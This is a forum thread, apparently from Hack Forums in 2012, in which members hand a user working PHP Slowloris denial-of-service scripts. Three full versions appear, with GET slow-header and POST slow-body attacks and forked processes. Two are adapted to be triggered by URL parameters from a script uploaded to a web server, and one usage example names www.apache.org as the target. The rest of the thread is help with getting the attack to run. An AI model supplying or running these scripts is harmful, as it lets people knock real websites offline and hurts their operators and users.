

Forum:[Hack Forums](#)

Thread: [Slowloris script](#)

Clubs - August 22, 2012, 4:04 am

Hi guys, I've been searching for a working slowloris script for like a week and haven't found one that working.

The most used one is this:

<http://pastebin.com/BLEM4v0f>

But I couldn't get it to work.

In the usage line to shows this:

PHP Code

```
<?php
```

Usage: ./{\$argv[0]} <get or post> <number of processes> <server> [host]\n

I think that it means that I should enter the url like this:

<http://google.com/slowloris.php/<GET>>; <100> <1.1.1.1>

But I'm not sure.

So if anyone has a working slowloris script that he would like to share with me or knows how to get the script above to work it would be AWSOME.

Alex™ - August 22, 2012, 4:08 am

Uhh thats meant to be used from a client like putty. (i think)

php file.php usage shit here

Clubs - August 22, 2012, 4:19 am

Oh okay that sucks if I can only use it via a putty.

Anyone has a slowloris php script that can be activated right through the url or something like that?

ManDoR - August 22, 2012, 4:22 am

I think to need to use it like that :

The php you found is a php that has to be executed with command line, like with Putty as said above. Then you will just need to add args like the exemple. For exemple :

script.php arg1 arg2 arg3 etc

Just saw your post, modifying the source, wait

Alex™ - August 22, 2012, 4:28 am

(Aug 22, 2012 04:19 AM)MotherFucker Jones Wrote: [\[CITE\]](#) Oh okay that sucks if I can only use it via a putty.

Anyone has a slowloris php script that can be activated right through the url or something like that? You could just edit it to use get commands?

ManDoR - August 22, 2012, 4:36 am

Here you go :

Haven't tested it yet though.

PHP Code

```
<?php
/* PHP Slowloris
 * Created by Reckz0r
 * Contains get based attack (slow headers) and post based attack (long content length)
 *
 * Author: Reck/Reckz0r
 * Modified by ManDoR on HackForums
 */

function usage($argv){
    echo "Usage : \n main(array('<get or post>', '<number of processes>', '<server>', '[host]'));\n";
    echo "Strings with <> are needed, strings with [] are optionals\n";
    echo "Exemple : \n main('get', '5', '7.7.7.7');\n";
    die();
}

function attack_get($server, $host){
    $request = "GET / HTTP/1.1\r\n";
    $request .= "Host: $host\r\n";
    $request .=
    "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.
    0.50727)\r\n";
    $request .= "Keep-Alive: 900\r\n";
    $request .= "Content-Length: " . rand(1, 100) . "\r\n";
    $request .= "Accept: *.*\r\n";
    $request .= "X-a: " . rand(1, 10000) . "\r\n";

    $sockfd = @fsockopen($server, 80, $errno, $errstr);
    @fwrite($sockfd, $request);

    while (true){
        if (@fwrite($sockfd, "X-c:" . rand(1, 100) . "\r\n")){
            echo ".";
            sleep(15);
        }else{
            echo "\nOne get attack failed to sent...\n";
            $sockfd = @fsockopen($server, 80, $errno, $errstr);
            @fwrite($sockfd, $request);
        }
    }
}

function attack_post($server, $host){
    $request = "POST /".md5(rand())." HTTP/1.1\r\n";
    $request .= "Host: $host\r\n";
    $request .=
    "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.
    0.50727)\r\n";
    $request .= "Keep-Alive: 900\r\n";
    $request .= "Content-Length: 100\r\n";
```

```

$request .= "Content-Type: application/x-www-form-urlencoded\r\n";
$request .= "Accept: *.*\r\n";

$sockfd = @fsockopen($server, 80, $errno, $errstr);
@fwrite($sockfd, $request);

while (true){
if (@fwrite($sockfd, ".") !== FALSE){
    echo ".";
    sleep(1);
}else{
    echo "\nOne post attack failed to sent...\n";
    $sockfd = @fsockopen($server, 80, $errno, $errstr);
    @fwrite($sockfd, $request);
}
}

}

function main($argv){
    $status = 1;
    $argc = count($argv);
    if ($argc == 4){
        $argv[4] = $argv[3];
    }else if ($argc < 5){
        usage($argv);
    }

    $pids = array();

    for ($i = 0; $i < $argv[2]; $i++){
        $pid = pcntl_fork();

        if ($pid == -1){
            die("Error forking!\n");
        }else if ($pid == 0){
            //child process
            if ($argv[1] == 'post') {
                attack_post($argv[3], $argv[4]);
            }elseif ($argv[1] == 'get') {
                attack_get($argv[3], $argv[4]);
            }else{
                die("Invalid method, use 'get' or 'post'\n");
            }
            exit(0);
        }else{
            //parent process
            $pids[] = $pid;
        }
    }

    foreach ($pids as $pid){
        pcntl_waitpid($pid, $status);
    }
}

```

```
}  
}
```

Clubs - August 22, 2012, 5:00 am

Thanks! But you didn't tell me how to excute the commands or make it to work :)

ManDoR - August 22, 2012, 5:16 am

I edited the usage message :) just look at it :)

Clubs - August 22, 2012, 5:20 am

You mean like:

[http://google.com/sloloris.php<GET><100><1.1.1.1>";](http://google.com/sloloris.php<GET><100><1.1.1.1>)

Cause if so it doesn't work..

ManDoR - August 22, 2012, 5:22 am

No, it has to be used in the file directly, look at the exemple bro ^^

If you want it to be executed via get I can too, but you can easily do it ^^

Clubs - August 22, 2012, 5:32 am

Oh now I understand. I uploaded the script and it doesn't show anything:

<http://autolakovnachynov.cz/images/galerie/1.php>

ManDoR - August 22, 2012, 5:35 am

I just modified it to be able to be executed via get args.

Here it is :

PHP Code

```
<?php  
/* PHP Slowloris  
 * Created by Reckz0r  
 * Contains get based attack (slow headers) and post based attack (long content length)  
 *  
 * Author: Reck/Reckz0r  
 * Modified by ManDoR on HackForums  
 */  
  
function usage(){  
    echo  
    "Usage : \n file.php?type=<get or post>&process=<number of process>&server=<ip of server>&host  
    =[ip of host]\n";  
    echo "Strings with <> are needed, strings with [] are optionals\n";  
    echo "Exemple : \n file.php?type=post&process=5&server=5.5.5.5\n";  
    die();  
}  
  
function attack_get($server, $host){  
    $request = "GET / HTTP/1.1\r\n";  
    $request .= "Host: $host\r\n";  
    $request .=  
    "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.
```

```

0.50727)\r\n";
$request .= "Keep-Alive: 900\r\n";
$request .= "Content-Length: " . rand(1, 100) . "\r\n";
$request .= "Accept: *.*\r\n";
$request .= "X-a: " . rand(1, 10000) . "\r\n";

$sockfd = @fsockopen($server, 80, $errno, $errstr);
@fwrite($sockfd, $request);

while (true){
if (@fwrite($sockfd, "X-c:" . rand(1, 100) . "\r\n")){
echo ".";
sleep(15);
}else{
echo "\nOne get attack failed to sent...\n";
$sockfd = @fsockopen($server, 80, $errno, $errstr);
@fwrite($sockfd, $request);
}
}
}

function attack_post($server, $host){
$request = "POST /".md5(rand())." HTTP/1.1\r\n";
$request .= "Host: $host\r\n";
$request .=
"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.
0.50727)\r\n";
$request .= "Keep-Alive: 900\r\n";
$request .= "Content-Length: 100\r\n";
$request .= "Content-Type: application/x-www-form-urlencoded\r\n";
$request .= "Accept: *.*\r\n";

$sockfd = @fsockopen($server, 80, $errno, $errstr);
@fwrite($sockfd, $request);

while (true){
if (@fwrite($sockfd, ".") !== FALSE){
echo ".";
sleep(1);
}else{
echo "\nOne post attack failed to sent...\n";
$sockfd = @fsockopen($server, 80, $errno, $errstr);
@fwrite($sockfd, $request);
}
}
}

function main($argv){
$status = 1;
$argc = count($argv);
if ($argc == 4){

```

```

$argv[4] = $argv[3];
} else if ($argc < 5){
usage($argv);
}

$pids = array();

for ($i = 0; $i < $argv[2]; $i++){
$pid = pcntl_fork();

if ($pid == -1){
    die("Error forking!\n");
} else if ($pid == 0){
    //child process
    if ($argv[1] == 'post') {
        attack_post($argv[3], $argv[4]);
    } elseif ($argv[1] == 'get') {
        attack_get($argv[3], $argv[4]);
    } else{
        die("Invalid method, use 'get' or 'post'\n");
    }
    exit(0);
} else{
    //parent process
    $pids[] = $pid;
}
}

foreach ($pids as $pid){
pcntl_waitpid($pid, $status);
}
}

$type = ($_GET["type"] == "get" OR $_GET["type"] == "post") ? $_GET["type"] : null;
$process = (!empty($_GET["process"]) AND is_numeric($_GET["process"])) ? $_GET["process"] :
null;
$server = (!empty($_GET["server"])) ? $_GET["server"] : null;
$host = (!empty($_GET["host"])) ? $_GET["host"] : null;

if(!empty($type) && !empty($process) && !empty($server)) {
    if(!empty($host)) {
        main(array($type, $process, $server, $host));
    } else {
        main(array($type, $process, $server));
    }
} else {
    usage();
}

```

Quote:Usage :

file.php?type=<get or post>&process=<number of process>&server=<ip of server>&host=[ip of host]

Exemple :

file.php?type=post&process=5&server=5.5.5.5

YERANUK - August 22, 2012, 5:45 am

That script is meant to be run using the php binary directly.

It's a lot more useful than sending a GET request to your servers, you could send the command with your command line, and to other servers via ssh.

Clubs - August 22, 2012, 5:49 am

tried, still doesn't work :/

I don't get a 404 error but it still doesn't send the attack.

can you please try to edit a regular udp shell so it will send a slowloris attack instead of udp?

ManDoR - August 22, 2012, 5:50 am

(Aug 22, 2012 05:45 AM)Desugrace Wrote: [\[CITE\]](#) That script is meant to be run using the php binary directly.

It's a lot more useful than sending a GET request to your servers, you could send the command with your command line, and to other servers via ssh.

Yep that's what we said above, and why I'm trying to convert it ;)

Clubs - August 22, 2012, 5:55 am

Yea but for some reason it still doesn't send the attack.

supermen - August 22, 2012, 6:00 am

I've convert command line to GET

This code is GET version is php slowloris.I've modified.

Example upload script host

slow.php?method=post&num=100&host=www.apache.org

method: attack method.

num: number of attack

host: target host

server: optional // get server ip with gethostbyname

PHP Code

```
<?php
```

```
/* PHP Slowloris
```

```
* Adapted from the script found here: http://seclists.org/fulldisclosure/2009/Jun/207
```

```
* Contains get based attack (slow headers) and post based attack (long content length)
```

```
*
```

```
* Author: Seppe vanden Broucke
```

```
*
```

```
* https://gist.github.com/771824
```

```
*
```

```
* Convert command line to get supermen
```

```
*/
```

```
set_time_limit(0);
```

```
function usage()
```

```

{
    print
    "Usage: ?method=<get or post>&num=<number of processes>&host=<host>&server<server -> optional>\n";
    print_r($_GET);
    // print "Usage: ./{$argv[0]} <get or post> <number of processes> <server> [host]\n";
    die();
}

function attack_get($server, $host)
{
    $request = "GET / HTTP/1.1\r\n";
    $request .= "Host: $host\r\n";
    $request .=
    "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
    $request .= "Keep-Alive: 900\r\n";
    $request .= "Content-Length: " . rand(10000, 100) . "\r\n";
    $request .= "Accept: *.*\r\n";
    $request .= "X-a: " . rand(1, 10000) . "\r\n";

    $sockfd = @fsockopen($server, 80, $errno, $errstr);
    @fwrite($sockfd, $request);

    while (true) {
        if (@fwrite($sockfd, "X-c:" . rand(1, 100) . "\r\n")) {
            echo ".";
            sleep(15);
        } else {
            echo "\nOne get attack failed to sent...\n";
            $sockfd = @fsockopen($server, 80, $errno, $errstr);
            @fwrite($sockfd, $request);
        }
    }
}

function attack_post($server, $host)
{
    $request = "POST /" . md5(rand()) . " HTTP/1.1\r\n";
    $request .= "Host: $host\r\n";
    $request .=
    "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
    $request .= "Keep-Alive: 900\r\n";
    $request .= "Content-Length: 100\r\n";
    $request .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $request .= "Accept: *.*\r\n";

    $sockfd = @fsockopen($server, 80, $errno, $errstr);
    @fwrite($sockfd, $request);

    while (true) {

```

```

if (@fwrite($sockfd, ".") !== FALSE) {
    echo ".";
    sleep(1);
} else {
    echo "\nOne post attack failed to sent...\n";
    $sockfd = @fsockopen($server, 80, $errno, $errstr);
    @fwrite($sockfd, $request);
}
}

function main()
{
    $status = 1;

    if (empty($_GET['host'])) {
        usage();
    }

    if (empty($_GET['num'])) {
        usage();
    }
    if (empty($_GET['method'])) {
        usage();
    }

    $host = trim($_GET['host']);
    $server = gethostbyname($_GET['host']);
    $num = (int)trim($_GET['num']);
    $method = strtolower(trim($_GET['method']));
    $method = in_array($method, array('get', 'post')) ? $method : False;

    $server=isset($_GET['server']) ? trim($_GET['server']): $server;

    if ($method == FALSE) {
        usage();
    }

    if (!intval($num)) {
        usage();
    }

    $pids = array();

    if(!function_exists("pcntl_fork")){
        exit("pcntl_fork not working");
    }
    for ($i = 0; $i < $num; $i++) {
        $pid = pcntl_fork();

        if ($pid == -1) {
            die("Error forking!\n");
        }
    }
}

```

```

    } else if ($pid == 0) {
//child process
    if ($method == 'post') {
        attack_post($server, $host);
    } elseif ($method == 'get') {
        attack_get($server, $host);
    } else {
        die("Invalid method, use 'get' or 'post'\n");
    }
    exit(0);
} else {
//parent process
    $pids[] = $pid;
}
}

foreach ($pids as $pid) {
    pcntl_waitpid($pid, $status);
}
}

main();

```

Clubs - August 22, 2012, 6:15 am

Thanks :)

but after sending the attack I get this:

pcntl_fork not working

What does it mean?

supermen - August 22, 2012, 6:20 am

<http://php.net/manual/en/function.pcntl-fork.php>

PCNTL is not installed your server.

install :<http://www.php.net/manual/en/pcntl.setup.php>

Clubs - August 22, 2012, 6:31 am

Okay I tried different server. no error but still no attack :/

supermen - August 22, 2012, 6:42 am

Did you check the error logs?

memory limit,max execution time or time limit issue?

set this code to script

```
ini_set('display_errors', 'On');
```